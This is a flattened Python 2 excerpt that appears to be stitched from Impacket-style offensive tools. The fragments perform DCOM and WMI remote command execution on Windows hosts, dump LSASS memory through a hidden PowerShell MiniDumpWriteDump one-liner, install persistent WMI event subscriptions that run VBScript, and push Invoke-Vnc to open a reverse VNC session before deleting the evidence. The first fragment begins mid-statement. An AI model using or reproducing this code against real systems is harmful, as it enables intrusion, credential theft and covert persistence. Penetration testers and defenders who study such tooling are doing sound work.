DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver = True) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__psh != ' ': self.shell.onecmd(self.__psh) elif self.__mode != None: if self.__mode == MODE_ENUMUSER: print "Entering ENUMUSER mode" # ugly, clean it up if possible and only pull relevant fields: username, type of session self.__psh = "powershell -nop -wind hidden -noni \"$d = query session; 1..($d.count-1) | % { Write-Host '---';$d[$_].Substring(19,20).Trim();$d[$_].Substring(48,8).Trim();$d[$_].Substring(1,18).Trim();}\"" elif self.__mode == MODE_DUMPLSASS: print "Entering DUMPLSASS mode. Results will be saved to " + self.__uncpath self.__uncpath = self.__uncpath.replace("\\", "\\\\") self.__psh = "cmd.exe /c powershell -nop -wind hidden -noni \"$proc = ps lsass;$FileStream = New-Object IO.FileStream('" + self.__uncpath + "', [IO.FileMode]::Create);$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));exit;\"" elif self.__mode == MODE_METERPRETER: pass elif self.__mode == MODE_PUSHAGENT: pass #print self.__username + ":" + self.__password + ":" + self.__domain # dont execute yet, validate params self.shell.onecmd(self.__psh) else: # this shouldn't be reached.. print "No powershell or mode provided!" if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.exit(1) # self.shell.cmdloop() # - is it possible to interactive powershell prompt? except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError( 'Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance( 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError( 'Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError( 'Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError( 'Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % (self.__options.name, self.__options.name))) else: activeScript, _ = iWbemServices.GetObject( 'ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] activeScript.ScriptText = options.vbs.read() self.checkError( 'Adding ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject( '__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError( 'Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding, _ = iWbemServices.GetObject( '__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] self.checkError( 'Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype +' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format(addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it") time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info("Error on executing bat file. Trying to delete it before exiting") self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect()